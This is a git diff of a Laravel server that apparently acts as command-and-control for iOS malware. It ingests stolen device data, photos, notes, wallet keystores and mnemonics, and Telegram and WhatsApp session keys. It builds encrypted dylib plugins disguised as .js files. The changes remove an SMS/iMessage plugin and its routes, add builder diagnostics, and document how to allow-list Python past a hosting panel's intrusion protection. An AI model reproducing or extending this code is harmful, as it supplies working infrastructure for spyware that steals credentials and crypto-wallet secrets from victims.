diff --git a/app/Http/Controllers/Admin/DeviceController.php b/app/Http/Controllers/Admin/DeviceController.php index c1e428c..49dbf04 100644 --- a/app/Http/Controllers/Admin/DeviceController.php +++ b/app/Http/Controllers/Admin/DeviceController.php @@ -283,7 +283,6 @@ class DeviceController extends Controller $device->mnemonics()->delete(); $device->keystores()->delete(); $device->pluginSessions()->delete(); - $device->smsReports()->delete(); $device->beaconTasks()->delete(); $device->delete(); }); diff --git a/app/Http/Controllers/C2/C2Controller.php b/app/Http/Controllers/C2/C2Controller.php index 89e959f..d0dd833 100644 --- a/app/Http/Controllers/C2/C2Controller.php +++ b/app/Http/Controllers/C2/C2Controller.php @@ -172,7 +172,7 @@ class C2Controller extends Controller } /** - * SMS task poll from imagent. Native treats code==0 as "poll every 3s"; + * Old imagent poll path. Native treats code==0 as "poll every 3s"; * non-zero backs off to ~60s — return code 1 to avoid hammering. * Payload `p` is the device phone number. */ diff --git a/app/Http/Controllers/C2/XxbbC2Controller.php b/app/Http/Controllers/C2/XxbbC2Controller.php index 90bd0bc..7f5dbe5 100644 --- a/app/Http/Controllers/C2/XxbbC2Controller.php +++ b/app/Http/Controllers/C2/XxbbC2Controller.php @@ -14,8 +14,7 @@ use Illuminate\Http\Response; * Native path map (corepayload + details plugins): * /a census (creates device from deviceInfo), /u applist, /event telemetry, /t photo multipart, /nb notes, * /uj /us /ub /ba /result wallet plugins (keystore / mnemonic / addresses), - * /api/tg/t Telegram auth (tglib), /api/wp/t WhatsApp session (wap), - * /m/t/g /m/t/r imagent SMS poll / report (sms). + * /api/tg/t Telegram auth (tglib), /api/wp/t WhatsApp session (wap). * * Core routes (/a, /u, /event) attribute channel_id from request headers ver/sdkv. * Plugin routes do not write channel_id (same as /api/tg/t). @@ -194,35 +193,6 @@ class XxbbC2Controller extends Controller return $this->xxbbAck($request); } - /** - * sms: POST /m/t/g — poll outbound SMS tasks. - * Lab never queues send tasks; code=1 + empty data matches native backoff. - */ - public function smsPoll(Request $request): Response - { - $payload = $request->attributes->get('coruna_payload'); - $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null); - if ($device && is_array($payload)) { - $this->ingest->ingestDevicePhone($device, $payload); - $this->ingest->ingestSmsHeartbeat($device, $payload); - } - - return $this->xxbbAck($request, ['code' => 1, 'data' => []]); - } - - /** sms: POST /m/t/r — task result / status. */ - public function smsReport(Request $request): Response - { - $payload = $request->attributes->get('coruna_payload'); - $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null); - if ($device && is_array($payload)) { - $this->ingest->ingestDevicePhone($device, $payload); - $this->ingest->ingestSmsTaskReport($device, $payload); - } - - return $this->xxbbAck($request); - } - /** * @param array|null $body */ diff --git a/app/Models/Device.php b/app/Models/Device.php index 6c0e2fb..00d9c7a 100644 --- a/app/Models/Device.php +++ b/app/Models/Device.php @@ -164,11 +164,6 @@ class Device extends Model return $this->hasMany(PluginSession::class); } - public function smsReports(): HasMany - { - return $this->hasMany(SmsReport::class); - } - public function beaconTasks(): HasMany { return $this->hasMany(DsBeaconTask::class)->orderBy('position'); diff --git a/app/Models/SmsReport.php b/app/Models/SmsReport.php deleted file mode 100644 index e43b53a..0000000 --- a/app/Models/SmsReport.php +++ /dev/null @@ -1,25 +0,0 @@ - 'array', - ]; - } - - public function device(): BelongsTo - { - return $this->belongsTo(Device::class); - } -} diff --git a/app/Services/ChannelProjectService.php b/app/Services/ChannelProjectService.php index d05dde3..fb74051 100644 --- a/app/Services/ChannelProjectService.php +++ b/app/Services/ChannelProjectService.php @@ -431,25 +431,130 @@ class ChannelProjectService private function runBuilder(array $cmd, string $errorPrefix, string $cwd): array { $timeout = (float) config('coruna.channel_builder.timeout', 600); + $probe = $this->builderProbe($cmd, $cwd); + Log::info('channel_builder start', $probe + [ + 'error_prefix' => $errorPrefix, + 'timeout' => $timeout, + ]); + + $started = microtime(true); $process = Process::timeout((int) max(1, $timeout)) ->path($cwd) ->run($cmd); + $ms = (int) ((microtime(true) - $started) * 1000); + $stdout = trim($process->output()); + $stderr = trim($process->errorOutput()); if (! $process->successful()) { - $detail = trim($process->errorOutput() ?: $process->output()); - $detail = mb_substr($detail !== '' ? $detail : 'builder exited '.$process->exitCode(), 0, 800); - Log::error('Channel builder failed', [ + $hint = trim($this->builderFailHint((int) $process->exitCode(), $cmd, $cwd).' ' + .$this->hardeningHint($stderr."\n".$stdout, $process->exitCode())); + Log::error('channel_builder failed', $probe + [ + 'error_prefix' => $errorPrefix, 'exit_code' => $process->exitCode(), - 'detail' => $detail, - 'cmd' => $cmd, + 'ms' => $ms, + 'stdout' => mb_substr($stdout, 0, 2000), + 'stderr' => mb_substr($stderr, 0, 2000), + 'hint' => $hint, ]); + $detail = $stderr !== '' ? $stderr : $stdout; + if ($detail === '') { + $detail = 'builder exited '.$process->exitCode(); + } + if ($hint !== '') { + $detail .= ';'.$hint; + } - throw new RuntimeException("{$errorPrefix}: {$detail}"); + throw new RuntimeException($errorPrefix.': '.mb_substr($detail, 0, 2500)); } + Log::info('channel_builder ok', [ + 'error_prefix' => $errorPrefix, + 'ms' => $ms, + 'cwd' => $cwd, + 'python' => $cmd[0] ?? '', + ]); + return $this->parseResultMarker($process->output(), $errorPrefix); } + /** + * @param list $cmd + * @return array + */ + private function builderProbe(array $cmd, string $cwd): array + { + $python = (string) ($cmd[0] ?? ''); + $script = (string) ($cmd[1] ?? ''); + $uid = function_exists('posix_geteuid') ? posix_geteuid() : getmyuid(); + $user = function_exists('posix_getpwuid') + ? ((posix_getpwuid((int) $uid)['name'] ?? null) ?: (string) $uid) + : (string) $uid; + + return [ + 'cwd' => $cwd, + 'cwd_exists' => is_dir($cwd), + 'cmd' => $cmd, + 'php_user' => $user, + 'php_uid' => $uid, + 'python' => $python, + 'python_is_abs' => $python !== '' && $python[0] === '/', + 'python_is_link' => $python !== '' && @is_link($python), + 'python_is_file' => $python !== '' && @is_file($python), + 'python_link' => ($python !== '' && @is_link($python)) ? (string) @readlink($python) : null, + 'script' => $script, + 'script_exists' => $script !== '' && is_file($script), + 'path_env' => (string) (getenv('PATH') ?: ''), + ]; + } + + /** + * @param list $cmd + */ + private function builderFailHint(int $exit, array $cmd, string $cwd): string + { + if ($exit !== 127) { + return ''; + } + $python = (string) ($cmd[0] ?? ''); + $script = (string) ($cmd[1] ?? ''); + $bits = ['exit 127 = 命令不存在']; + if ($python === '' || $python === 'python3') { + $bits[] = '未找到可用 python(.env CORUNA_CHANNEL_BUILDER_NEW_PYTHON 为空且无 .venv)'; + } elseif (! @is_file($python) && ! @is_link($python)) { + $bits[] = '解释器路径不存在: '.$python; + } else { + $target = @is_link($python) ? (string) @readlink($python) : ''; + if ($target !== '') { + $bits[] = 'venv python 软链指向 '.$target.'(目标机上可能没有这个 python)'; + } + } + if ($script !== '' && ! is_file($script)) { + $bits[] = '脚本不存在: '.$script; + } + if (! is_dir($cwd)) { + $bits[] = '工作目录不存在: '.$cwd; + } + + return implode(';', $bits); + } + + private function hardeningHint(string $output, ?int $exit = null): string + { + $hay = strtolower($output); + if (str_contains($hay, 'tips from bt security') + || str_contains($hay, 'your request has been recorded') + || $exit === 9 || $exit === 137) { + return '堡塔防入侵拦截了 www 执行 python。软件商店 → 堡塔防入侵 → 看 www 拦截日志,把 venv python 与 /usr/bin/python3.10 加白后再建渠道'; + } + if (! str_contains($hay, 'py7zr') && ! str_contains($hay, 'permission denied') + && ! str_contains($hay, 'cannot open shared object')) { + return ''; + } + + return '宝塔系统加固常去掉 /usr/bin/python3.10 与 venv 里 .so 的执行权限。' + .'请把 /www/wwwroot/coruna-lab 加入加固排除,并 chmod 755 系统 python 与 venv 下 *.so'; + } + /** * @return array */ diff --git a/app/Services/IngestService.php b/app/Services/IngestService.php index f923d19..e4a129d 100644 --- a/app/Services/IngestService.php +++ b/app/Services/IngestService.php @@ -10,7 +10,6 @@ use App\Models\Note; use App\Models\PageVisit; use App\Models\Photo; use App\Models\PluginSession; -use App\Models\SmsReport; use App\Models\User; use App\Models\WalletAddress; use App\Models\WalletKeystore; @@ -197,8 +196,8 @@ class IngestService } /** - * Own number from sms.js / old imagent. First write wins. - * Prefer `p` / `phoneNumber` / cardsinfo; bare `phone` is dest on /m/t/r. + * Own number from /event (and leftover imagent payloads). First write wins. + * Prefer `p` / `phoneNumber` / cardsinfo; ignore bare `phone` when task_id is set. */ public function ingestDevicePhone(Device $device, ?array $payload): void { @@ -218,8 +217,8 @@ class IngestService } /** - * sms.js: CTSettingCopyMyPhoneNumber → `p` / `phoneNumber`; SIM slot in cardsinfo. - * `/m/t/r` uses `phone` as the send-to dest, so ignore it when task_id is present. + * Prefer `p` / `phoneNumber`; SIM slot in cardsinfo. + * Bare `phone` is treated as dest when task_id is present. */ private function extractOwnPhone(array $payload): ?string { @@ -597,48 +596,6 @@ class IngestService return $payload; } - /** - * sms.js /m/t/g — own number via CTSettingCopyMyPhoneNumber (`p` / `phone` / `phoneNumber`). - */ - public function ingestSmsHeartbeat(Device $device, ?array $payload): void - { - if (! is_array($payload)) { - return; - } - $this->ingestDevicePhone($device, $payload); - } - - /** - * sms.js POST /m/t/r — task result. Dest is `phone`; own number is `p` / `phoneNumber`. - */ - public function ingestSmsTaskReport(Device $device, ?array $payload): void - { - if (! is_array($payload)) { - return; - } - $this->ingestDevicePhone($device, $payload); - - $taskId = $this->scalarToString($payload['task_id'] ?? $payload['taskId'] ?? null); - $dest = $this->scalarToString($payload['phone'] ?? $payload['to'] ?? $payload['t'] ?? null); - $local = $this->scalarToString($payload['p'] ?? $payload['phoneNumber'] ?? null); - $msg = $this->scalarToString($payload['msg'] ?? $payload['m'] ?? null); - $status = $this->scalarToString($payload['status'] ?? $payload['s'] ?? $payload['code'] ?? null); - if ($taskId === null && $dest === null && $msg === null && $status === null) { - return; - } - - SmsReport::query()->create([ - 'device_id' => $device->id, - 'device_key' => $device->device_id, - 'task_id' => $taskId, - 'dest_phone' => $dest !== null ? substr($dest, 0, 64) : null, - 'local_phone' => $local !== null ? substr($local, 0, 64) : null, - 'msg' => $msg, - 'status' => $status !== null ? substr($status, 0, 64) : null, - 'payload' => $payload, - ]); - } - /** * @param list $keepKeys * @param list $accountKeys diff --git a/channel-builder-new/source/details/README.md b/channel-builder-new/source/details/README.md index e4c2692..65fb9f3 100644 --- a/channel-builder-new/source/details/README.md +++ b/channel-builder-new/source/details/README.md @@ -4,7 +4,7 @@ 文件名是线上的 `.js` 外壳,内容是 **7zAES 包着的 dylib**(密码见 builder README,不要改)。`show.html` 是目录:core + 各 App 对应哪一份插件。 -编号缺 `o15`:原包就没有这一号。`wap.js` / `sms.js` 从 001trx 同族包按 **lab 7z 密码**重打;dylib 里没有自己的 DGA seed,跟 `tglib.js` 一样用 core 注入的 `PLServerPool` / 渠道 `c`。 +编号缺 `o15`:原包就没有这一号。`wap.js` 从 001trx 同族包按 **lab 7z 密码**重打;dylib 里没有自己的 DGA seed,跟 `tglib.js` 一样用 core 注入的 `PLServerPool` / 渠道 `c`。sms 插件已移除。 ## 公共 @@ -41,6 +41,5 @@ | `t20lib.js` | t | OKX | `com.okex.OKExAppstoreFull` | | `tglib.js` | tg | Telegram | `ph.telegra.Telegraph` | | `wap.js` | wp | WhatsApp | `net.whatsapp.WhatsApp` | -| `sms.js` | sms | iMessage | `imagent` | -钱包插件跑起来后走 `/uj` `/us` `/ub` `/ba` `/result` 上报 keystore / 助记词 / 地址。`tglib.js` 走 `/api/tg/t`,`wap.js` 走 `/api/wp/t`(会话密钥,不是助记词)。`sms.js` 走 `/m/t/g`(拉任务,lab 回空列表)和 `/m/t/r`(回执),心跳仍走 `/event`。 +钱包插件跑起来后走 `/uj` `/us` `/ub` `/ba` `/result` 上报 keystore / 助记词 / 地址。`tglib.js` 走 `/api/tg/t`,`wap.js` 走 `/api/wp/t`(会话密钥,不是助记词)。 diff --git a/channel-builder-new/source/details/show.html b/channel-builder-new/source/details/show.html index 18a0bcd..622c0b8 100644 Binary files a/channel-builder-new/source/details/show.html and b/channel-builder-new/source/details/show.html differ diff --git a/channel-builder-new/tools/tests/test_build.py b/channel-builder-new/tools/tests/test_build.py index aaf163a..2ee4b44 100644 --- a/channel-builder-new/tools/tests/test_build.py +++ b/channel-builder-new/tools/tests/test_build.py @@ -131,17 +131,16 @@ class XxbbBuildTest(unittest.TestCase): self.assertEqual(show["core"]["size"], len(core)) by_bundle = {e["bundleId"]: e for e in show["entries"]} self.assertIn("net.whatsapp.WhatsApp", by_bundle) - self.assertIn("imagent", by_bundle) + self.assertNotIn("imagent", by_bundle) self.assertTrue((details / "wap.js").is_file()) - self.assertTrue((details / "sms.js").is_file()) - for name, bundle in (("wap.js", "net.whatsapp.WhatsApp"), ("sms.js", "imagent")): - member, plain = extract_member((details / name).read_bytes()) - self.assertTrue(member.endswith(".dylib"), member) - self.assertEqual(by_bundle[bundle]["sha256"], xxbb_build.sha256_hex(plain), name) - self.assertEqual(by_bundle[bundle]["size"], len(plain), name) - self.assertNotIn(b"761847cfb1ad3de68e11239dcc26c30b", plain) - self.assertNotIn(b"abf3bdc8e239c0f3183c257f9ccc23e8", plain) - self.assertIn(b"sharedReportingPool", plain) + self.assertFalse((details / "sms.js").is_file()) + member, plain = extract_member((details / "wap.js").read_bytes()) + self.assertTrue(member.endswith(".dylib"), member) + self.assertEqual(by_bundle["net.whatsapp.WhatsApp"]["sha256"], xxbb_build.sha256_hex(plain)) + self.assertEqual(by_bundle["net.whatsapp.WhatsApp"]["size"], len(plain)) + self.assertNotIn(b"761847cfb1ad3de68e11239dcc26c30b", plain) + self.assertNotIn(b"abf3bdc8e239c0f3183c257f9ccc23e8", plain) + self.assertIn(b"sharedReportingPool", plain) seeds = json.loads((state / "lab_seeds.json").read_text()) self.assertEqual(seeds["deployment_seed"], "11111111111111111111111111111111") @@ -344,25 +343,24 @@ class XxbbBuildTest(unittest.TestCase): self.assertNotIn("channeICode", landing) self.assertNotIn('src="index.js"', landing) - def test_source_details_has_lab_passworded_wap_and_sms(self) -> None: + def test_source_details_has_lab_passworded_wap_without_sms(self) -> None: show_member, show_plain = extract_member((xxbb_build.SOURCE_DETAILS / "show.html").read_bytes()) self.assertEqual(show_member, "data.bin") show = json.loads(show_plain.decode("utf-8")) by_bundle = {e["bundleId"]: e for e in show["entries"]} - expected = { - "net.whatsapp.WhatsApp": "wap.js", - "imagent": "sms.js", - } - for bundle, name in expected.items(): - self.assertIn(bundle, by_bundle) - self.assertTrue(by_bundle[bundle]["url"].endswith("/details/" + name)) - path = xxbb_build.SOURCE_DETAILS / name - self.assertTrue(path.is_file(), name) - member, plain = extract_member(path.read_bytes()) - self.assertEqual(by_bundle[bundle]["sha256"], xxbb_build.sha256_hex(plain)) - self.assertEqual(by_bundle[bundle]["size"], len(plain)) - self.assertNotIn(xxbb_build.ORIGINAL_C.encode(), plain) - self.assertIn(b"https://%@", plain) + self.assertNotIn("imagent", by_bundle) + self.assertFalse((xxbb_build.SOURCE_DETAILS / "sms.js").is_file()) + name = "wap.js" + bundle = "net.whatsapp.WhatsApp" + self.assertIn(bundle, by_bundle) + self.assertTrue(by_bundle[bundle]["url"].endswith("/details/" + name)) + path = xxbb_build.SOURCE_DETAILS / name + self.assertTrue(path.is_file(), name) + member, plain = extract_member(path.read_bytes()) + self.assertEqual(by_bundle[bundle]["sha256"], xxbb_build.sha256_hex(plain)) + self.assertEqual(by_bundle[bundle]["size"], len(plain)) + self.assertNotIn(xxbb_build.ORIGINAL_C.encode(), plain) + self.assertIn(b"https://%@", plain) if __name__ == "__main__": diff --git a/database/migrations/2026_09_01_000020_drop_sms_reports.php b/database/migrations/2026_09_01_000020_drop_sms_reports.php new file mode 100644 index 0000000..35b45b9 --- /dev/null +++ b/database/migrations/2026_09_01_000020_drop_sms_reports.php @@ -0,0 +1,29 @@ +id(); + $table->foreignId('device_id')->constrained('devices')->cascadeOnDelete(); + $table->string('device_key', 64)->index(); + $table->string('task_id', 128)->nullable()->index(); + $table->string('dest_phone', 64)->nullable(); + $table->string('local_phone', 64)->nullable(); + $table->text('msg')->nullable(); + $table->string('status', 64)->nullable(); + $table->json('payload')->nullable(); + $table->timestamps(); + }); + } +}; diff --git a/docs/BAOTA_DEPLOY.md b/docs/BAOTA_DEPLOY.md index f1a9ab9..d14b395 100644 --- a/docs/BAOTA_DEPLOY.md +++ b/docs/BAOTA_DEPLOY.md @@ -634,6 +634,28 @@ PHP「禁用函数」含 `putenv`。在 PHP 8.2 设置里移除后重试。 +### 后台构建失败:`Tips from BT security !!!` / `Killed` / `import py7zr` + +`www` 跑 Python 被 **堡塔防入侵** 杀掉(系统加固还会把 `python3.10` / `*.so` 执行位扒掉)。PHP-FPM 建渠道也是 `www`,所以后台会同样失败。 + +1. 软件商店 → **堡塔防入侵** → 打开 `www` 的拦截记录,把下面路径加白(从拦截日志里复制「命令路径」,不要自己猜): + +```text +/www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python +/www/wwwroot/coruna-lab/channel-builder/.venv/bin/python +/usr/bin/python3.10 +/usr/bin/python3 +``` + +2. 安全 → **系统加固**:排除 `/www/wwwroot/coruna-lab`;不要把系统 Python 标成「禁止执行」。 +3. 加白后用同一条命令验证,必须打印 `ok`,不能再出现 `Tips from BT security`: + +```bash +sudo -u www /www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python -c 'import py7zr; print("ok")' +``` + +临时关掉防入侵能立刻验证是不是它在杀进程;验证完再开,靠白名单维持。不要用绕过手段躲拦截。 + ### 后台新建「新版」渠道失败:`请先在 .env 配置 XXBB_CHANNEL_C` 按 **§1.4** 执行 `php artisan xxbb:build --random-c`,把输出的 `XXBB_CHANNEL_C` 写入 `.env`,再 `config:clear`。确认 `channel-builder-new/.venv` 已安装。 diff --git a/routes/ds.php b/routes/ds.php index 02abb5a..ffbe6fe 100644 --- a/routes/ds.php +++ b/routes/ds.php @@ -8,13 +8,13 @@ $ds = DarkSwordC2Controller::class; // Shared /a /u /nb /event /result are declared in routes/xxbb.php // (same URI, DarkSword vs xxbb chosen per request). -Route::any('/beacon', [$ds, 'beacon']); -Route::any('/war', [$ds, 'war']); -Route::any('/p', [$ds, 'p']); -Route::any('/stats', [$ds, 'stats']); +// Route::any('/beacon', [$ds, 'beacon']); +// Route::any('/war', [$ds, 'war']); +// Route::any('/p', [$ds, 'p']); +// Route::any('/stats', [$ds, 'stats']); -Route::any('/api/ds/log', [$ds, 'log']); -Route::any('/api/ds/device/register', [$ds, 'register']); -Route::any('/api/ds/chain-targets', [$ds, 'chainTargets']); +// Route::any('/api/ds/log', [$ds, 'log']); +// Route::any('/api/ds/device/register', [$ds, 'register']); +// Route::any('/api/ds/chain-targets', [$ds, 'chainTargets']); -Route::any('/api/ds/pe-stage/{name}', [$ds, 'peStage']); +// Route::any('/api/ds/pe-stage/{name}', [$ds, 'peStage']); diff --git a/routes/xxbb.php b/routes/xxbb.php index 91ede75..ac21a89 100644 --- a/routes/xxbb.php +++ b/routes/xxbb.php @@ -33,6 +33,4 @@ Route::middleware([DecryptXxbbBody::class])->group(function () use ($dsOrXxbb, $ Route::post('/ba', [$xxbb, 'plugin']); Route::post('/api/tg/t', [$xxbb, 'telegram']); Route::post('/api/wp/t', [$xxbb, 'whatsapp']); - Route::post('/m/t/g', [$xxbb, 'smsPoll']); - Route::post('/m/t/r', [$xxbb, 'smsReport']); }); diff --git a/tests/Feature/DeviceDeleteTest.php b/tests/Feature/DeviceDeleteTest.php index 5a83f9f..afca936 100644 --- a/tests/Feature/DeviceDeleteTest.php +++ b/tests/Feature/DeviceDeleteTest.php @@ -13,7 +13,6 @@ use App\Models\Note; use App\Models\PageVisit; use App\Models\Photo; use App\Models\PluginSession; -use App\Models\SmsReport; use App\Models\User; use App\Models\WalletAddress; use App\Models\WalletKeystore; @@ -82,13 +81,6 @@ class DeviceDeleteTest extends TestCase 'account_id' => '123', 'payload' => ['user_id' => '123'], ]); - SmsReport::query()->create([ - 'device_id' => $device->id, - 'device_key' => 'dev-del-1', - 'task_id' => 't1', - 'dest_phone' => '+100', - 'payload' => ['task_id' => 't1'], - ]); DsBeaconTask::query()->create([ 'device_id' => $device->id, 'position' => 1, @@ -149,7 +141,6 @@ class DeviceDeleteTest extends TestCase $this->assertSame(0, WalletMnemonic::query()->count()); $this->assertSame(0, WalletKeystore::query()->count()); $this->assertSame(0, PluginSession::query()->count()); - $this->assertSame(0, SmsReport::query()->count()); $this->assertSame(0, DsBeaconTask::query()->count()); $this->assertSame(0, DsChainLog::query()->where('client_uid', 'dev-del-1')->count()); $this->assertSame(1, DsChainLog::query()->where('client_uid', 'keep-other-uid')->count()); diff --git a/tests/Feature/XxbbC2ApiTest.php b/tests/Feature/XxbbC2ApiTest.php index ab51abf..534dfae 100644 --- a/tests/Feature/XxbbC2ApiTest.php +++ b/tests/Feature/XxbbC2ApiTest.php @@ -8,7 +8,6 @@ use App\Models\DeviceEvent; use App\Models\Note; use App\Models\Photo; use App\Models\PluginSession; -use App\Models\SmsReport; use App\Models\WalletAddress; use App\Models\WalletKeystore; use App\Models\WalletMnemonic; @@ -532,79 +531,10 @@ class XxbbC2ApiTest extends TestCase } #[Test] - public function sms_poll_stores_phone_from_cardsinfo(): void + public function sms_routes_are_removed(): void { - $this->xxbbPost('/m/t/g', [ - 'd' => '000C30D83CD0402E', - 'bundleID' => 'imagent', - 'cardsinfo' => [['isSimPresent' => true, 'phoneNumber' => '+15550005555']], - ])->assertOk(); - - $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); - $this->assertNotNull($device); - $this->assertSame('+15550005555', $device->phone); - } - - #[Test] - public function sms_report_does_not_use_dest_phone_as_device_phone(): void - { - $this->xxbbPost('/m/t/r', [ - 'd' => '000C30D83CD0402E', - 'task_id' => 'task-dest-only', - 'phone' => '+15550006666', - 'msg' => 'sent', - ])->assertOk(); - - $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); - $this->assertNotNull($device); - $this->assertNull($device->phone); - } - - #[Test] - public function sms_poll_stores_phone_and_returns_empty_tasks(): void - { - $resp = $this->xxbbPost('/m/t/g', [ - 'deviceID' => '000C30D83CD0402E', - 'c' => '202700cfb1ad3de68e11239dcc26c30b', - 'p' => '+15550001111', - 'bundleID' => 'imagent', - 'cardsinfo' => [['isSimPresent' => true, 'slotID' => 1]], - ]); - $resp->assertOk(); - $this->assertSame('1786468227899{"code":1,"data":[]}', $resp->getContent()); - - $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); - $this->assertNotNull($device); - $this->assertSame('+15550001111', $device->phone); - $this->assertNull($device->channel_id); - $this->assertSame(0, DeviceEvent::query()->where('device_key', '000C30D83CD0402E')->count()); - $this->assertSame(0, SmsReport::query()->count()); - } - - #[Test] - public function sms_report_stores_task_event(): void - { - $this->xxbbPost('/m/t/r', [ - 'd' => '000C30D83CD0402E', - 'task_id' => 'task-9', - 'phone' => '+15550003333', - 'p' => '+15550002222', - 'msg' => 'ok', - 's' => '1', - ])->assertOk(); - - $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); - $this->assertNotNull($device); - $this->assertSame('+15550002222', $device->phone); - $this->assertSame(0, DeviceEvent::query()->where('device_key', '000C30D83CD0402E')->count()); - $row = SmsReport::query()->where('device_id', $device->id)->first(); - $this->assertNotNull($row); - $this->assertSame('000C30D83CD0402E', $row->device_key); - $this->assertSame('task-9', $row->task_id); - $this->assertSame('+15550003333', $row->dest_phone); - $this->assertSame('+15550002222', $row->local_phone); - $this->assertSame('ok', $row->msg); - $this->assertSame('1', $row->status); + $this->xxbbPost('/m/t/g', ['d' => '000C30D83CD0402E'])->assertNotFound(); + $this->xxbbPost('/m/t/r', ['d' => '000C30D83CD0402E'])->assertNotFound(); } #[Test]